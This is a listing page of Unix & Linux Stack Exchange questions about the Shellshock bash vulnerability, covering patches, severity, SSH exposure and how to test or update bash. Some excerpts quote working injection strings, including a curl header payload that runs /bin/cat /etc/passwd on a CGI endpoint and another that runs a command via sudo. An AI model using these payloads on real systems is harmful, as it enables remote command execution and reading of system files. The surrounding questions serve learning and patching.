Sample Header Ad - 728x90

Unix & Linux Stack Exchange

Q&A for users of Linux, FreeBSD and other Unix-like operating systems

Latest Questions

1 votes
0 answers
376 views
Source code of the patches for Shellshock
I have a project for my grad level OS class, and I have decided to choose the Shellshock vulnerability bugs as my topic. There is a lot of great information out there, but I was curious if it is possible to get the source code of patches that resolved the bugs related to Shellshock. Namely, CVE-2014...
I have a project for my grad level OS class, and I have decided to choose the Shellshock vulnerability bugs as my topic. There is a lot of great information out there, but I was curious if it is possible to get the source code of patches that resolved the bugs related to Shellshock. Namely, CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187 I was able to find some source code here , but I was wondering if anyone could point me to a comprehensive list of patch source. Or, which would be great, if someone could explain how I can access the patch source on my machine (since I have upgraded my machine and am no longer vulnerable).
heez (111 rep)
Mar 2, 2015, 03:05 PM • Last activity: Mar 18, 2019, 01:57 AM
7 votes
1 answers
5133 views
What is the severity of the new bash exploit (shellshock)?
I've been reading up about the [remote bash exploit][1] and was wondering how severe it is and if I should be worried, especially since a new exploit has been found after the patch release. What does this mean for me as someone who uses Debian as my main desktop OS? Is there anything I should be awa...
I've been reading up about the remote bash exploit and was wondering how severe it is and if I should be worried, especially since a new exploit has been found after the patch release. What does this mean for me as someone who uses Debian as my main desktop OS? Is there anything I should be aware of?
stanri (1016 rep)
Sep 25, 2014, 10:19 AM • Last activity: Feb 10, 2019, 07:20 PM
124 votes
2 answers
21786 views
When was the shellshock (CVE-2014-6271/7169) bug introduced, and what is the patch that fully fixes it?
**Some context about the bug: [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271)** > Bash supports exporting not just shell variables, but also shell functions to other bash instances, via the process environment to (indirect) child processes. Current bash versions use an...
**Some context about the bug: [CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271)** > Bash supports exporting not just shell variables, but also shell functions to other bash instances, via the process environment to (indirect) child processes. Current bash versions use an environment variable named by the function name, and a function definition starting with “() {” in the variable value to propagate function definitions through the environment. The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function definition. For example, an environment variable setting of > > VAR=() { ignored; }; /bin/id > > will execute /bin/id when the environment is imported into the bash process. Source: http://seclists.org/oss-sec/2014/q3/650 **When was the bug introduced, and what is the patch that fully fixes it?** (See [CVE-2014-7169](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169)) What are the vulnerable versions beyond noted in the CVE (initially) (3.{0..2} and 4.{0..3})? **Has the buggy source code been reused in other projects?** Additional information is desirable. --- Related: [What does env x='() { :;}; command' bash do and why is it insecure?](https://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure)
Deer Hunter (1886 rep)
Sep 25, 2014, 03:53 AM • Last activity: Jan 15, 2019, 02:47 PM
6 votes
5 answers
11200 views
How do I update bash on EOL Ubuntu versions?
I.e. can I find a close enough package in the next nearest distro? Or is it complicated, and compiling from source is better? Or can I grab it from debian? (This question is about at least Ubuntu 11.10 and 12.10; I'm betting others are hitting this, so if the advice is different depending on exactly...
I.e. can I find a close enough package in the next nearest distro? Or is it complicated, and compiling from source is better? Or can I grab it from debian? (This question is about at least Ubuntu 11.10 and 12.10; I'm betting others are hitting this, so if the advice is different depending on exactly which end-of-lifed Ubuntu, it might help to say how!) P.S. "Upgrade" will not be accepted as an answer ;-) I know that, but sometimes retiring/upgrading/replacing a server takes time, and I'd like to get bash patched first.
Darren Cook (1034 rep)
Sep 26, 2014, 08:39 AM • Last activity: Aug 6, 2018, 03:37 AM
69 votes
3 answers
68422 views
how can shellshock be exploited over SSH?
Apparently, the shellshock Bash exploit [CVE-2014-6271](http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html) can be exploited over the network via SSH. I can imagine how the exploit would work via Apache/CGI, but I cannot imagine how that would wor...
Apparently, the shellshock Bash exploit [CVE-2014-6271](http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html) can be exploited over the network via SSH. I can imagine how the exploit would work via Apache/CGI, but I cannot imagine how that would work over SSH? Can somebody please provide an example how SSH would be exploited, and what harm could be done to the system? ### CLARIFICATION AFAIU, only an authenticated user can exploit this vulnerability via SSH. What use is this exploit for somebody, who has legitimate access to the system anyway? I mean, this exploit does not have privilege escalation (he cannot become root), so he can do no more than he could have done after simply logging in legitimately via SSH.
Martin Vegter (598 rep)
Sep 25, 2014, 01:44 PM • Last activity: May 10, 2018, 10:53 AM
4 votes
1 answers
1908 views
Point of the semicolon in this shellshock attack
I was reviewing a shellshock attack and didn't understand this piece of code: curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd " The part that I don't understand is the function of the `echo ;` in the actually execu...
I was reviewing a shellshock attack and didn't understand this piece of code: curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd " The part that I don't understand is the function of the echo ; in the actually executed command on the remote machine between echoing the Content-Type and /bin/cat on /etc/passwd. What is the function of echo ; here? Thanks.
henry (43 rep)
Jan 20, 2018, 12:54 AM • Last activity: Jan 20, 2018, 01:23 AM
250 votes
5 answers
116232 views
What does env x='() { :;}; command' bash do and why is it insecure?
There is apparently a vulnerability (CVE-2014-6271) in bash: [Bash specially crafted environment variables code injection attack][1] I am trying to figure out what is happening, but I'm not entirely sure I understand it. How can the `echo` be executed as it is in single quotes? $ env x='() { :;}; ec...
There is apparently a vulnerability (CVE-2014-6271) in bash: Bash specially crafted environment variables code injection attack I am trying to figure out what is happening, but I'm not entirely sure I understand it. How can the echo be executed as it is in single quotes? $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test --- **EDIT 1**: A patched system looks like this: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' this is a test **EDIT 2**: There is a related vulnerability / patch: [CVE-2014-7169](https://access.redhat.com/articles/1200223) which uses a slightly different test: $ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" *unpatched output*: vulnerable bash: BASH_FUNC_x(): line 0: syntax error near unexpected token `)' bash: BASH_FUNC_x(): line 0: `BASH_FUNC_x() () { :;}; echo vulnerable' bash: error importing function definition for `BASH_FUNC_x' test *partially (early version) patched output*: bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x' bash: error importing function definition for `BASH_FUNC_x()' test *patched output* up to and including CVE-2014-7169: bash: warning: x: ignoring function definition attempt bash: error importing function definition for `BASH_FUNC_x' test **EDIT 3**: story continues with: * [CVE-2014-7186](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7186) * [CVE-2014-7187](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7187) * [CVE-2014-6277](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6277)
jippie (14566 rep)
Sep 24, 2014, 08:02 PM • Last activity: Mar 24, 2017, 07:45 AM
9 votes
2 answers
388 views
Why is the ability to define functions in an environmental variable not a security risk in itself?
As I understand it, generally it is considered safe to let anyone provide information that will be stored in an environmental variable. The shellshock vulnerability is an issue here because it means that code at the end of a function definition inside an environmental variable will be executed when...
As I understand it, generally it is considered safe to let anyone provide information that will be stored in an environmental variable. The shellshock vulnerability is an issue here because it means that code at the end of a function definition inside an environmental variable will be executed when a new instance of bash launches and you obviously don't want anyone to run any code they please on your server. Function definitions themselves are apparently not a security risk though and are allowed because they have to be explicitly called for their code to be executed. My question is why can't a malicious user simply define a function, containing their malicious code as a common command like ls and then hope that the script (or whatever is being run) will use this command at some point? An example of what I have in mind: $ export ls='() { echo "doing bad things..."; }' $ bash -c ls doing bad things...
Reed Espinosa (285 rep)
Sep 26, 2014, 04:16 PM • Last activity: Dec 31, 2016, 01:06 AM
2 votes
0 answers
2107 views
How to test shellshock against remote machine using a simple script
I am interested in testing for shellshock vulnerable machines that I don't have shell access to on my LAN's and WAN's such as IPMI cards and Internet of Things devices. What is the best way to remotely verify the vulnerability on machines? Does anybody have a simple shell script that can be run? I w...
I am interested in testing for shellshock vulnerable machines that I don't have shell access to on my LAN's and WAN's such as IPMI cards and Internet of Things devices. What is the best way to remotely verify the vulnerability on machines? Does anybody have a simple shell script that can be run? I want to avoid using any websites that do this test as they may actually take advantage of the information gained by running the tests on vulnerable machines.
Timothy C. Quinn (519 rep)
Sep 25, 2014, 06:25 PM • Last activity: Sep 25, 2016, 12:31 AM
0 votes
1 answers
360 views
Inconsistent shellshock exploitation
I am trying to demonstrate the shellshock vulnerability according to the commands posted [here](https://serverfault.com/questions/631257/how-to-test-if-my-server-is-vulnerable-to-the-shellshock-bug). I have taken two systems under consideration: the first one has a vulnerable bash in `$PATH`; the ot...
I am trying to demonstrate the shellshock vulnerability according to the commands posted [here](https://serverfault.com/questions/631257/how-to-test-if-my-server-is-vulnerable-to-the-shellshock-bug) . I have taken two systems under consideration: the first one has a vulnerable bash in $PATH; the other has a patched version of bash in $PATH, and a "supposedly vulnerable" version in /opt/vulnerable, that has been compiled from source. On the **first system**, I am able to successfully exploit the bug: $ bash --version GNU bash, version 4.1.2(1)-release (i386-redhat-linux-gnu) [...] $ cat env x='() { :;}; echo vulnerable' bash -c "echo this is a test" > EOM vulnerable this is a test On the **second system**, as described above, there is a patched bash in $PATH and a recently (as in a few hours ago) compiled from source version of bash in /opt/vulnerable that should be vulnerable: $ bash --version GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu) [...] $ /opt/vulnerable/bin/bash GNU bash, version 4.1.0(1)-release (i686-pc-linux-gnu) [...] I'm passing these commands through the default version to the vulnerable version, and I'm unable to exploit it: $ cat env x='() { :;}; echo vulnerable' bash -c "echo this is a test" > EOM this is a test I've also tried using [this](https://github.com/wreiske/shellshocker/blob/master/shellshock_test.sh) script for testing, but it fails to detect any vulnerability. (The command has been issued from the default, patched shell): $ /opt/vulnerable/bin/bash shellshock_test.sh CVE-2014-6271 (original shellshock): not vulnerable CVE-2014-6277 (segfault): not vulnerable CVE-2014-6278 (Florian's patch): not vulnerable CVE-2014-7169 (taviso bug): not vulnerable CVE-2014-7186 (redir_stack bug): not vulnerable CVE-2014-7187 (nested loops off by one): not vulnerable CVE-2014-//// (exploit 3 on http://shellshocker.net/) : not vulnerable Am I doing something wrong here? Or have all bash sources archives on ftp.gnu.org have been patched against this vulnerability?
user48923
Nov 18, 2015, 04:02 PM • Last activity: Nov 19, 2015, 12:00 AM
2 votes
2 answers
234 views
Correct way to find this (shellshock patch) package?
I was out to patch some squeeze servers for the shellshock bug. A few googles later I found that I could [updated my apt sources list][1]. This did however not work for some reason. I tried to search for the package at packages.debian.org without luck. It took me a good while to find [this post][2],...
I was out to patch some squeeze servers for the shellshock bug. A few googles later I found that I could updated my apt sources list . This did however not work for some reason. I tried to search for the package at packages.debian.org without luck. It took me a good while to find this post , which was the solution to my problems. My question is, how can I find these packages directly, without finding a blog post about them? Am I just looking at the wrong place at packages.debian.org? I tried listing all squeeze and squeeze-updates packages, and I only found non-patched bash packages.
Marcus Johansson (753 rep)
Sep 26, 2014, 07:57 AM • Last activity: Oct 30, 2015, 06:22 PM
19 votes
1 answers
992 views
How was the Shellshock Bash vulnerability found?
Since this bug affects so many platforms, we might learn something from the process by which this vulnerability was found: was it an εὕρηκα (eureka) moment or the result of a security check? Since we know Stéphane found the Shellshock bug, and others may know the process as well, we would be in...
Since this bug affects so many platforms, we might learn something from the process by which this vulnerability was found: was it an εὕρηκα (eureka) moment or the result of a security check? Since we know Stéphane found the Shellshock bug, and others may know the process as well, we would be interested in the story of how he came to find the bug.
Faheem Mitha (36008 rep)
Oct 15, 2014, 03:44 PM • Last activity: Dec 19, 2014, 10:54 PM
2 votes
1 answers
1133 views
Can the shellshock bug be expoloited to run a command as a privileged user?
I am curious to know if the following command could be executed on a system/server with the Shellshock bug: curl -H "User-Agent: () { :; }; sudo /bin/eject" http://example.com/ (This code is an elaborated version of an example here: http://blog.cloudflare.com/inside-shellshock/) From what I understa...
I am curious to know if the following command could be executed on a system/server with the Shellshock bug: curl -H "User-Agent: () { :; }; sudo /bin/eject" http://example.com/ (This code is an elaborated version of an example here: http://blog.cloudflare.com/inside-shellshock/) From what I understand the bug would allow one to inject code into the system but not necessarily execute code with elevated privileges. If this is not possible is there another way that code could be injected to give a hacker root privileges? No examples necessary, I am simply curious as to the extent of damage this bug could potentially cause. **I have no malicious intent, I ask out of curiosity.
Orando (55 rep)
Dec 11, 2014, 10:19 PM • Last activity: Dec 12, 2014, 12:26 AM
-1 votes
1 answers
187 views
how to patch bash vulnerability (shellshock) bug on RHEL?
We have over 10000 servers to patch for bash vulnerability (shellshock) bug. Now my question is what is the command to patch this bug ? And how we can check whether the patch has been installed and the bug has been fixed ?
We have over 10000 servers to patch for bash vulnerability (shellshock) bug. Now my question is what is the command to patch this bug ? And how we can check whether the patch has been installed and the bug has been fixed ?
Srv (13 rep)
Nov 13, 2014, 03:37 PM • Last activity: Nov 13, 2014, 03:56 PM
0 votes
1 answers
363 views
Is my linux mint box vulnerable to Shell-Shock attacks? How might I remedy that?
Is it safe to use Linux Mint now, with ShellShock existing? If not, what can I do to use Mint safely?
Is it safe to use Linux Mint now, with ShellShock existing? If not, what can I do to use Mint safely?
Michael (13 rep)
Nov 3, 2014, 06:35 PM • Last activity: Nov 4, 2014, 11:47 PM
11 votes
4 answers
10959 views
Legacy Debian versions and Bash Shellshock
We are running Debian Etch, Lenny and Squeeze because upgrades have never been done in this shop; we have over 150 systems running various Debian versions. In light of the "shell shock" of this week, I assume I need to upgrade bash. I do not know Debian so I am concerned. Can I merely execute `apt-g...
We are running Debian Etch, Lenny and Squeeze because upgrades have never been done in this shop; we have over 150 systems running various Debian versions. In light of the "shell shock" of this week, I assume I need to upgrade bash. I do not know Debian so I am concerned. Can I merely execute apt-get install bash on all of my Debian systems and get the correct Bash package while my repository is pointed at a Squeeze entry. If not, what other course of action do I have?
DavidH (111 rep)
Sep 26, 2014, 06:32 PM • Last activity: Oct 22, 2014, 09:59 AM
0 votes
2 answers
214 views
Is one bash shellshock fix tar file for SLES bad?
SERVER:/home/user # rpm -Uvh --test readline-5.1-24.4.7406.0.PTF.898762.i586.rpm warning: readline-5.1-24.4.7406.0.PTF.898762.i586.rpm: V3 DSA signature: NOKEY, key ID b37b98a9 error: Failed dependencies: readline = 5.0-9 is needed by (installed) readline-devel-5.0-9 SERVER:/home/user # rpm -qa | gr...
SERVER:/home/user # rpm -Uvh --test readline-5.1-24.4.7406.0.PTF.898762.i586.rpm warning: readline-5.1-24.4.7406.0.PTF.898762.i586.rpm: V3 DSA signature: NOKEY, key ID b37b98a9 error: Failed dependencies: readline = 5.0-9 is needed by (installed) readline-devel-5.0-9 SERVER:/home/user # rpm -qa | grep -i readl* readline-5.0-9 perl-TermReadKey-2.30-2 readline-devel-5.0-9 SERVER:/home/user # tar -xvf ssbash10GA-i386.tar bash-3.1-24.4.7406.0.PTF.898762.i586.rpm readline-5.1-24.4.7406.0.PTF.898762.i586.rpm SERVER:/home/user # It looks like the readline-devel is missing from ssbash10GA-i386.tar from: https://download.suse.com/Download?buildid=nNXClbWqawg~ **Question:** am I understanding this correctly?
thequestionthequestion (345 rep)
Oct 15, 2014, 08:31 AM • Last activity: Oct 15, 2014, 09:59 AM
1 votes
2 answers
2360 views
Is FreeBSD's "sh" shell vulnerable to Shellshock?
I've got a server for personal use running FreeBSD 10, and it doesn't have Bash installed and never did. However, it comes with the its own POSIX-compliant shell "sh". Do I have to worry about the Shellshock bug on my server? I tried running this infamous shell script and **didn't** get the "vulnera...
I've got a server for personal use running FreeBSD 10, and it doesn't have Bash installed and never did. However, it comes with the its own POSIX-compliant shell "sh". Do I have to worry about the Shellshock bug on my server? I tried running this infamous shell script and **didn't** get the "vulnerable" echo, but I don't know if that ensures that I am safe: env x='() { :;}; echo vulnerable' sh -c 'echo hello'
sudo (342 rep)
Sep 27, 2014, 05:32 AM • Last activity: Oct 11, 2014, 07:42 PM
1 votes
1 answers
2893 views
How can I update BASH
How can I update BASH? I noticed that there are version 4.2.45 env x='() { :;}; echo vulnerable' bash -c "echo this is a test" this is a test cat /etc/redhat-release CentOS release 5.11 (Final) rpm -q bash bash-3.2-33.el5_11.4 yum update bash Setting up Update Process No Packages marked for Update
How can I update BASH? I noticed that there are version 4.2.45 env x='() { :;}; echo vulnerable' bash -c "echo this is a test" this is a test cat /etc/redhat-release CentOS release 5.11 (Final) rpm -q bash bash-3.2-33.el5_11.4 yum update bash Setting up Update Process No Packages marked for Update
CER BiH (31 rep)
Oct 10, 2014, 01:37 PM • Last activity: Oct 10, 2014, 10:12 PM
1 votes
1 answers
2327 views
Shellshock - not vulnerable with bash version 4.1?
We have several Amazon servers. It has bash version 4.1.2. [Kaspersky claims][1] that all bash versions up to 4.3 are unsafe. When I do this test... env x='() { :;}; echo vulnerable' bash -c 'echo hello' ... it returns: `hello`, and even though [Lifehacker says][1] that I should get an error back: `...
We have several Amazon servers. It has bash version 4.1.2. Kaspersky claims that all bash versions up to 4.3 are unsafe. When I do this test... env x='() { :;}; echo vulnerable' bash -c 'echo hello' ... it returns: hello, and even though Lifehacker says that I should get an error back: bash: warning: x: ignoring function definition attempt bash....., I guess the simple "hello" is good enough. Still I'm in doubt. Can you explain what info I can trust?
SPRBRN (1125 rep)
Oct 9, 2014, 02:08 PM • Last activity: Oct 10, 2014, 01:18 AM
Showing page 1 of 20 total questions